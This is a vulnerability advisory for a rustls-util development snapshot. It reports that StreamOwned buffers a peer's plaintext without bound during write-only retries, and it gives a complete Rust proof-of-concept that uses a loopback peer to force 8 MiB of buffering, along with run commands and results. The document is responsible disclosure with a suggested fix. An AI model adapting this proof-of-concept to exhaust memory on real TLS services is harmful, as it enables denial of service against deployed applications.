F09: Write-only stream retries accumulate peer plaintext without backpressure
F09: Write-only stream retries accumulate peer plaintext without backpressure
- Finding: Unbounded receive buffering
- Affected Software: rustls-util development snapshot
99f2358cae29,StreamOwned. - Date: September 2026
- Discoverer: OpenAI ([email protected])
While an application retries nonblocking writes without reading application data, StreamOwned can continue reading and buffering a peer's plaintext without a bound. The output limit remains enforced but does not constrain this incoming buffer. A sending peer that refuses to read can therefore drive memory growth in this application pattern.
Cause and prior work
Write-side I/O progress reads when output blocks; core wants_read() no longer stops when application plaintext is buffered. The wrapper never drains that buffer during write-only use. #35 established backpressure requirements; the input/plaintext changes in #2940 and #3149 leave this replacement-wrapper path unbounded.
Source: rustls-util/src/stream.rs.
Reproduction
A real loopback TCP peer sends 8 MiB while withholding reads. The victim repeatedly calls only Write::write, backing off after WouldBlock. Run with client victims and server victims with client authentication disabled. Stop at the fixed payload size rather than exhausting memory.
Use the existing rustls/ checkout at 99f2358cae29 and a standalone sibling repro/ directory outside its Cargo workspace. Save the blocks below as repro/Cargo.toml and repro/src/main.rs; run the commands from the directory containing both rustls/ and repro/.
[package]
name = "stream-read-ahead-poc"
version = "0.1.0"
edition = "2024"
[workspace]
[dependencies]
rustls = { path = "../rustls/rustls" }
rustls-ring = { path = "../rustls/rustls-ring" }
rustls-util = { path = "../rustls/rustls-util", default-features = false }use rustls::crypto::Identity;
use rustls::pki_types::{CertificateDer, PrivateKeyDer, pem::PemObject};
use rustls::{
ClientConfig, ClientConnection, Connection, RootCertStore, ServerConfig, ServerConnection,
VecInput,
};
use rustls_util::StreamOwned;
use std::{
io::{self, Write},
net::{TcpListener, TcpStream},
sync::{
Arc,
atomic::{AtomicBool, Ordering},
},
thread,
time::{Duration, Instant},
};
fn pair() -> (ClientConnection, ServerConnection) {
let provider = Arc::new(rustls_ring::DEFAULT_PROVIDER.clone());
// Trust the fixture CA so later failures are unrelated to certificate rejection.
let mut roots = RootCertStore::empty();
roots
.add(CertificateDer::from(
include_bytes!("../../rustls/test-ca/ecdsa-p256/ca.der").as_slice(),
))
.unwrap();
let client_config = ClientConfig::builder(provider.clone())
.with_root_certificates(roots)
.with_no_client_auth()
.unwrap();
// Configure the peer with the matching fixture identity.
let certs = CertificateDer::pem_slice_iter(include_bytes!(
"../../rustls/test-ca/ecdsa-p256/end.fullchain"
))
.map(Result::unwrap)
.collect();
let key =
PrivateKeyDer::from_pem_slice(include_bytes!("../../rustls/test-ca/ecdsa-p256/end.key"))
.unwrap();
let mut server_config = ServerConfig::builder(provider)
.with_no_client_auth()
.with_single_cert(Arc::new(Identity::from_cert_chain(certs).unwrap()), key)
.unwrap();
server_config.send_tls13_tickets = rustls::server::Tls13Tickets { default: 0, max: 0 };
// Create both peers and keep handshake traffic separate from the scenario below.
let mut c_out = Vec::new();
let mut client = Arc::new(client_config)
.connect("localhost".try_into().unwrap())
.build(&mut c_out)
.unwrap();
let mut server = ServerConnection::new(Arc::new(server_config)).unwrap();
let mut c_in = VecInput::default();
let mut s_in = VecInput::default();
let mut s_out = Vec::new();
// Complete both handshake directions and drain their output before returning.
for _ in 0..10 {
transfer(&mut c_out, &mut s_in);
server
.read_tls(&mut s_in, &mut s_out)
.handle_all(&mut Vec::new())
.unwrap();
transfer(&mut s_out, &mut c_in);
client
.read_tls(&mut c_in, &mut c_out)
.handle_all(&mut Vec::new())
.unwrap();
if !client.is_handshaking()
&& !server.is_handshaking()
&& c_out.is_empty()
&& s_out.is_empty()
{
return (client, server);
}
}
panic!("handshake did not finish");
}
fn transfer(output: &mut Vec<u8>, input: &mut VecInput) {
let mut remaining = output.as_slice();
while !remaining.is_empty() {
let consumed = input.read(&mut remaining).unwrap();
assert!(consumed > 0);
}
output.clear();
}
fn run<V: Connection, A: Connection + Send + 'static>(
victim_conn: V,
mut attacker_conn: A,
mode: &str,
) {
const ATTACK_BYTES: usize = 8 * 1024 * 1024;
// Use real socket backpressure with bounded send and retry phases.
let listener = TcpListener::bind(("127.0.0.1", 0)).unwrap();
let victim_socket = TcpStream::connect(listener.local_addr().unwrap()).unwrap();
let (mut attacker_socket, _) = listener.accept().unwrap();
victim_socket
.set_nonblocking(true)
.unwrap();
attacker_socket
.set_write_timeout(Some(Duration::from_secs(5)))
.unwrap();
// The peer sends its fixed payload without reading any victim output.
let attacker_done = Arc::new(AtomicBool::new(false));
let done = attacker_done.clone();
let (release_peer, wait_for_release) = std::sync::mpsc::channel();
let attacker = thread::spawn(move || {
let payload = vec![0x41; 16 * 1024];
let mut tls = Vec::new();
for _ in 0..ATTACK_BYTES / payload.len() {
attacker_conn
.write(payload.as_slice().into(), &mut tls)
.unwrap();
attacker_socket.write_all(&tls).unwrap();
tls.clear();
}
done.store(true, Ordering::Release);
// Keep the peer socket open until victim has received all bytes.
wait_for_release
.recv_timeout(Duration::from_secs(15))
.unwrap();
});
// The victim retries only writes, leaving any internally received plaintext undrained.
let mut victim = StreamOwned::new(victim_conn, victim_socket, Vec::new());
let payload = [0x42; 64 * 1024];
let mut accepted = 0usize;
let mut would_block = 0usize;
let mut calls = 0usize;
let start = Instant::now();
while victim.received_plaintext.len() < ATTACK_BYTES {
assert!(
start.elapsed() < Duration::from_secs(10),
"bounded run timed out"
);
match victim.write(&payload) {
Ok(n) => accepted += n,
Err(error) if error.kind() == io::ErrorKind::WouldBlock => {
would_block += 1;
thread::sleep(Duration::from_millis(1));
}
Err(error) => panic!("unexpected write error: {error}"),
}
calls += 1;
}
// Release and join the peer after its fixed payload, then check the input and output limits.
release_peer.send(()).unwrap();
attacker.join().unwrap();
assert!(attacker_done.load(Ordering::Acquire));
println!(
"{mode} real TCP: application_Read_calls=0, Write_calls={calls}, accepted_upload={accepted}, WouldBlock={would_block}, hidden_inbound_plaintext={}, inbound_capacity={}, tls_output={}, configured_output_limit={}",
victim.received_plaintext.len(),
victim.received_plaintext.capacity(),
victim.output.len(),
victim.limit
);
assert!(would_block > 0);
assert_eq!(victim.received_plaintext.len(), ATTACK_BYTES);
assert!(victim.output.len() < victim.limit + 4096);
}
fn main() {
let (client, server) = pair();
if std::env::args().nth(1).as_deref() == Some("server") {
run(server, client, "victim-server/no-client-auth");
} else {
run(client, server, "victim-client");
}
}cargo +1.98.1 run --release --manifest-path repro/Cargo.toml
cargo +1.98.1 run --release --manifest-path repro/Cargo.toml -- serverResult
Both victim roles buffered 8,388,608 plaintext bytes with zero application Read calls while retaining the 65,536-byte output limit. The receive vector grew to roughly 16 MiB capacity. The 0.23.45 client control stopped with 16,384 plaintext bytes buffered and wants_read() == false; its peer was backpressured.
No OOM was attempted. Kernel buffering changes scheduling and write counts. Applications that drain input or impose their own budget avoid this schedule.
Suggested correction
Apply incoming plaintext backpressure during write/flush progress. Return the appropriate blocked state when reaching a bounded receive budget, or require a supported drainage policy explicitly.
Disclaimer
This information is being shared by OpenAI solely for the purpose of improving security and reducing potential harm. This information is presented as-is. We make no representations or warranties, express or implied, as to the completeness, accuracy, or fitness for any particular purpose of the information. This includes, without limitation any suggestions or ideas presented on how to remedy or mitigate an identified vulnerability, including whether such suggestions or ideas would be effective and/or could have other negative impacts.
OpenAI disclaims any liability for direct or indirect damages arising from the reliance on, or use, misuse, or interpretation of this information. Any references to third-party systems, services, or entities are included solely for identification purposes and do not imply endorsement, responsibility, or attribution.
Source: rustls/rustls